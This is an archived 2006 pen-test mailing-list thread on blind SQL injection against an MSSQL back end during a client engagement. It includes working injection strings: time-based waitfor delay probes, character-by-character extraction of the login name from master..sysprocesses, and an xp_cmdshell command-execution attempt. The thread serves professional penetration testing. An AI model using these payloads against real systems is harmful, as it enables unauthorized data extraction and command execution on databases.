Ethical Hacking Learn to find vulnerabilities before the bad guys do! Gain real world hands on hacking experience in our state of the art hacking lab. Course designed and taught by expert instructors with years of penetration testing experience. 12 student maximum in every class. Certification attempt included in every package. | Computer Forensics Training at InfoSec Institute Gain the in-demand skills of a certified computer examiner, learn to recover trace data left behind by fraud, theft, and cybercrime perpetrators. Discover the source of computer crime and abuse at your organization so that it never happens again. All of our class sizes are guaranteed to be 12 students or less to facilitate one-on-one interaction with one of our expert instructors. |

| Subject: | Re: Blind SQL Injection Techniques |
|---|---|
| Date: | Wed, 13 Dec 2006 18:24:23 -0200 |
Hi, Try something like this ;if system_user = char(115)+char(97) waitfor delay '0:0:05';-- But if you really want to determine the connection user, break system_user with substring() and test each character... if (SELECT ASCII(SUBSTRING((a.loginame),1,1)) FROM master..sysprocesses AS a WHERE a.spid = @@SPID) > 76 waitfor delay '00:00:05';-- A tool like absinthe (0x90.org) would help you. []'s Leo ----- Original Message ----- From: <One2@onetwo.com> To: <pen-test@securityfocus.com> Sent: Wednesday, December 13, 2006 5:41 AM Subject: Blind SQL Injection Techniques
Hi All, I am testing a client at the moment who has a Blind SQL Injection
vulnerability and am running out of techniques, so need some tips.
I injected the following string to validate that the system has an MSSQL
server at the back-end.
or 1=1;select * from sysobjects;-- This returned a valid page. Also injected the following and got a valid page, but again no data since
it is completely blind.
or 1=1;select @@version;-- Replacing sysobjects, in the first example, with an invalid table returns
a custom error page that doesn't disclose anything.
It seems that when injecting any invalid sql statement I get the same
custom error page coming back that doesn't reveal any information.
My next step was to determine whether the DB was running as system. I
tried using the following command;
or 1=1;if (select user) = 'sa' waitfor delay '0:0:5';-- ... but got the error page, indicating that it didn't work - especially
since it didn't take 5 seconds. I then tried simplifying it to just;
waitfor delay '0:0:5';-- ... but again, the error page, indicating this command was not working. I
thought it was the quotes but the following were successful;
or 1=1;select * from 'sysobjects';-- or 1=1;select * from "sysobjects";-- I then tried the following to see if I could actually run system commands; or 1=1;exec master..xp_cmdshell dir;-- ... but this got the error page again indicating unsuccessful. Any suggestions on gaining further information or access on this system
would be appreciated.
Thanks, One2 ------------------------------------------------------------------------ This List Sponsored by: Cenzic Need to secure your web apps? Cenzic Hailstorm finds vulnerabilities fast. Click the link to buy it, try it or download Hailstorm for FREE.
http://www.cenzic.com/products_services/download_hailstorm.php?camp=701600000008bOW
------------------------------------------------------------------------ Esta mensagem foi verificada pelo E-mail Protegido Terra. Scan engine: McAfee VirusScan / Atualizado em 13/12/2006 / Versão:
4.4.00/4918
Proteja o seu e-mail Terra: http://mail.terra.com.br/
------------------------------------------------------------------------ This List Sponsored by: Cenzic Need to secure your web apps? Cenzic Hailstorm finds vulnerabilities fast. Click the link to buy it, try it or download Hailstorm for FREE. http://www.cenzic.com/products_services/download_hailstorm.php?camp=701600000008bOW ------------------------------------------------------------------------
| <Prev in Thread] | Current Thread | [Next in Thread> |
|---|---|---|
| ||
| Previous by Date: | RE: traceroute interpretations, where is the firewall ?, Paul Melson |
|---|---|
| Next by Date: | The ISECOM Top 10 Real Computer Crimes for 2007 and Beyond, Pete Herzog |
| Previous by Thread: | Blind SQL Injection Techniques, One2 |
| Next by Thread: | RE: Blind SQL Injection Techniques, Paul Melson |
| Indexes: | [Date] [Thread] [Top] [All Lists] |